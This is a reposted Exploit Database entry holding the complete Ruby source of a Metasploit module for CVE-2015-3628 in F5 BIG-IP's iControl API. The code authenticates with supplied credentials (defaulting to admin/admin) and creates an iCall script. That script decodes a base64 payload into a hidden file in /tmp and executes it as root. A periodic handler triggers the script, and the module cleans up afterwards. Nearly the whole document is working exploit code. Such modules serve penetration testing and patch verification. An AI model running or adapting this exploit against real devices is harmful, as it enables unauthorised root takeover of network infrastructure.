F5 iControl – ‘iCall::Script’ Root Command Execution (Metasploit)

• Exploit Database
• 14 阅读

• 作者： Metasploit
  日期： 2015-11-19
• 类别：

  • remote
  平台：

  • hardware
• 来源：https://www.exploit-db.com/exploits/38764/

• ##
  # This module requires Metasploit: http://metasploit.com/download
  # Current source: https://github.com/rapid7/metasploit-framework
  ##
  
  require 'msf/core'
  require 'nokogiri'
  
  class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::FileDropper
  
  SOAPENV_ENCODINGSTYLE = { "soapenv:encodingStyle" => "http://schemas.xmlsoap.org/soap/encoding/" }
  STRING_ATTRS = { 'xsi:type' => 'urn:Common.StringSequence', 'soapenc:arrayType' => 'xsd:string[]', 'xmlns:urn' => 'urn:iControl' }
  LONG_ATTRS = { 'xsi:type' => 'urn:Common.ULongSequence', 'soapenc:arrayType' => 'xsd:long[]', 'xmlns:urn' => 'urn:iControl' }
  
  def initialize(info = {})
  super(
  update_info(
  info,
  'Name' => "F5 iControl iCall::Script Root Command Execution",
  'Description'=> %q{
  This module exploits an authenticated privilege escalation
  vulnerability in the iControl API on the F5 BIG-IP LTM (and likely
  other F5 devices). This requires valid credentials and the Resource
  Administrator role. The exploit should work on BIG-IP 11.3.0
  - 11.6.0, (11.5.x < 11.5.3 HF2 or 11.6.x < 11.6.0 HF6, see references
  for more details)
  },
  'License'=> MSF_LICENSE,
  'Author' =>
  [
  'tom', # Discovery, Metasploit module
  'Jon Hart <jon_hart[at]rapid7.com>' # Metasploit module
  ],
  'References' =>
  [
  ['CVE', '2015-3628'],
  ['URL', 'https://support.f5.com/kb/en-us/solutions/public/16000/700/sol16728.html'],
  ['URL', 'https://gdssecurity.squarespace.com/labs/2015/9/8/f5-icallscript-privilege-escalation-cve-2015-3628.html']
  ],
  'Platform' => ['unix'],
  'Arch' => ARCH_CMD,
  'Targets'=>
  [
  ['F5 BIG-IP LTM 11.x', {}]
  ],
  'Privileged' => true,
  'DisclosureDate' => "Sep 3 2015",
  'DefaultTarget'=> 0))
  
  register_options(
  [
  Opt::RPORT(443),
  OptBool.new('SSL', [true, 'Use SSL', true]),
  OptString.new('TARGETURI', [true, 'The base path to the iControl installation', '/iControl/iControlPortal.cgi']),
  OptString.new('USERNAME', [true, 'The username to authenticate with', 'admin']),
  OptString.new('PASSWORD', [true, 'The password to authenticate with', 'admin'])
  ])
  register_advanced_options(
  [
  OptInt.new('SESSION_WAIT', [ true, 'The max time to wait for a session, in seconds', 5 ]),
  OptString.new('PATH', [true, 'Filesystem path for the dropped payload', '/tmp']),
  OptString.new('FILENAME', [false, 'File name of the dropped payload, defaults to random']),
  OptInt.new('ARG_MAX', [true, 'Command line length limit', 131072])
  ])
  end
  
  def setup
  file = datastore['FILENAME']
  file ||= ".#{Rex::Text.rand_text_alphanumeric(16)}"
  @payload_path = ::File.join(datastore['PATH'], file)
  super
  end
  
  def build_xml
  builder = Nokogiri::XML::Builder.new do |xml|
  xml.Envelope do
  xml = xml_add_namespaces(xml)
  xml['soapenv'].Header
  xml['soapenv'].Body do
  yield xml
  end
  end
  end
  builder.to_xml
  end
  
  def xml_add_namespaces(xml)
  ns = xml.doc.root.add_namespace_definition("soapenv", "http://schemas.xmlsoap.org/soap/envelope/")
  xml.doc.root.namespace = ns
  xml.doc.root.add_namespace_definition("xsi", "http://www.w3.org/2001/XMLSchema-instance")
  xml.doc.root.add_namespace_definition("xsd", "http://www.w3.org/2001/XMLSchema")
  xml.doc.root.add_namespace_definition("scr", "urn:iControl:iCall/Script")
  xml.doc.root.add_namespace_definition("soapenc", "http://schemas.xmlsoap.org/soap/encoding")
  xml.doc.root.add_namespace_definition("per", "urn:iControl:iCall/PeriodicHandler")
  xml
  end
  
  def send_soap_request(pay)
  res = send_request_cgi(
  'uri' => normalize_uri(target_uri.path),
  'method' => 'POST',
  'data' => pay,
  'username' => datastore['USERNAME'],
  'password' => datastore['PASSWORD']
  )
  if res
  return res
  else
  vprint_error('No response')
  end
  false
  end
  
  def create_script(name, cmd)
  create_xml = build_xml do |xml|
  xml['scr'].create(SOAPENV_ENCODINGSTYLE) do
  xml.scripts(STRING_ATTRS) do
  xml.parent.namespace = xml.parent.parent.namespace_definitions.first
  xml.item name
  end
  xml.definitions(STRING_ATTRS) do
  xml.parent.namespace = xml.parent.parent.namespace_definitions.first
  xml.item cmd
  end
  end
  end
  send_soap_request(create_xml)
  end
  
  def delete_script(script_name)
  delete_xml = build_xml do |xml|
  xml['scr'].delete_script(SOAPENV_ENCODINGSTYLE) do
  xml.scripts(STRING_ATTRS) do
  xml.parent.namespace = xml.parent.parent.namespace_definitions.first
  xml.item script_name
  end
  end
  end
  print_error("Error while cleaning up script #{script_name}") unless (res = send_soap_request(delete_xml))
  res
  end
  
  def script_exists?(script_name)
  exists_xml = build_xml do |xml|
  xml['scr'].get_list(SOAPENV_ENCODINGSTYLE)
  end
  res = send_soap_request(exists_xml)
  res && res.code == 200 && res.body =~ Regexp.new("/Common/#{script_name}")
  end
  
  def create_handler(handler_name, script_name)
  print_status("Creating trigger #{handler_name}")
  handler_xml = build_xml do |xml|
  xml['per'].create(SOAPENV_ENCODINGSTYLE) do
  xml.handlers(STRING_ATTRS) do
  xml.parent.namespace = xml.parent.parent.namespace_definitions.first
  xml.item handler_name
  end
  xml.scripts(STRING_ATTRS) do
  xml.parent.namespace = xml.parent.parent.namespace_definitions.first
  xml.item script_name
  end
  xml.intervals(LONG_ATTRS) do
  xml.parent.namespace = xml.parent.parent.namespace_definitions.first
  # we set this to run once every 24h, but because there is no
  # start/end time it will run once, more or less immediately, and
  # again 24h from now, but by that point hopefully we will have
  # cleaned up and the handler/script/etc are gone
  xml.item 60 * 60 * 24
  end
  end
  end
  res = send_soap_request(handler_xml)
  if res
  if res.code == 200 && res.body =~ Regexp.new("iCall/PeriodicHandler")
  true
  else
  print_error("Trigger creation failed -- HTTP/#{res.proto} #{res.code} #{res.message}")
  false
  end
  else
  print_error("No response to trigger creation")
  false
  end
  end
  
  def delete_handler(handler_name)
  delete_xml = build_xml do |xml|
  xml['per'].delete_handler(SOAPENV_ENCODINGSTYLE) do
  xml.handlers(STRING_ATTRS) do
  xml.parent.namespace = xml.parent.parent.namespace_definitions.first
  xml.item handler_name
  end
  end
  end
  
  print_error("Error while cleaning up handler #{handler_name}") unless (res = send_soap_request(delete_xml))
  res
  end
  
  def handler_exists?(handler_name)
  handler_xml = build_xml do |xml|
  xml['per'].get_list(SOAPENV_ENCODINGSTYLE)
  end
  res = send_soap_request(handler_xml)
  res && res.code == 200 && res.body =~ Regexp.new("/Common/#{handler_name}")
  end
  
  def check
  # strategy: we'll send a create_script request, with empty name:
  # if everything is ok, the server return a 500 error saying it doesn't like empty names
  # XXX ignored at the moment: if the user doesn't have enough privileges, 500 error also is returned, but saying 'access denied'.
  # if the user/password is wrong, a 401 error is returned, the server might or might not be vulnerable
  # any other response is considered not vulnerable
  res = create_script('', '')
  if res && res.code == 500 && res.body =~ /path is empty/
  return Exploit::CheckCode::Appears
  elsif res && res.code == 401
  print_warning("HTTP/#{res.proto} #{res.code} #{res.message} -- incorrect USERNAME or PASSWORD?")
  return Exploit::CheckCode::Unknown
  else
  return Exploit::CheckCode::Safe
  end
  end
  
  def exploit
  # phase 1: create iCall script to create file with payload, execute it and remove it.
  shell_cmd = %(echo #{Rex::Text.encode_base64(payload.encoded)}|base64 --decode >#{@payload_path}; chmod +x #{@payload_path};#{@payload_path})
  cmd = %(exec /bin/sh -c "#{shell_cmd}")
  
  arg_max = datastore['ARG_MAX']
  if shell_cmd.size > arg_max
  print_error "Payload #{datastore['PAYLOAD']} is too big, try a different payload "\
  "or increasing ARG_MAX (note that payloads bigger than the target's configured ARG_MAX value may fail to execute)"
  return false
  end
  
  script_name = "script-#{Rex::Text.rand_text_alphanumeric(16)}"
  print_status("Uploading payload script #{script_name}")
  unless (create_script_res = create_script(script_name, cmd))
  print_error("No response when uploading payload script")
  return false
  end
  unless create_script_res.code == 200
  print_error("Upload payload script failed -- HTTP/#{create_script_res.proto} "\
  "#{create_script_res.code} #{create_script_res.message}")
  return false
  end
  unless script_exists?(script_name)
  print_error("Payload script uploaded successfully but script was not found")
  return false
  end
  register_file_for_cleanup @payload_path
  
  # phase 2: create iCall Handler, that will actually run the previously created script
  handler_name = "handler-#{Rex::Text.rand_text_alphanumeric(16)}"
  unless create_handler(handler_name, script_name)
  delete_script(script_name)
  return false
  end
  unless handler_exists?(handler_name)
  print_error("Trigger created successfully but was not found")
  delete_script(script_name)
  return false
  end
  print_status('Waiting for payload to execute...')
  
  # if our payload has not been successfully executed just yet, wait
  # until it does or give up
  slept = 0
  until session_created? || slept > datastore['SESSION_WAIT']
  Rex.sleep(1)
  slept += 1
  end
  
  print_status('Trying cleanup...')
  delete_script(script_name)
  delete_handler(handler_name)
  end
  end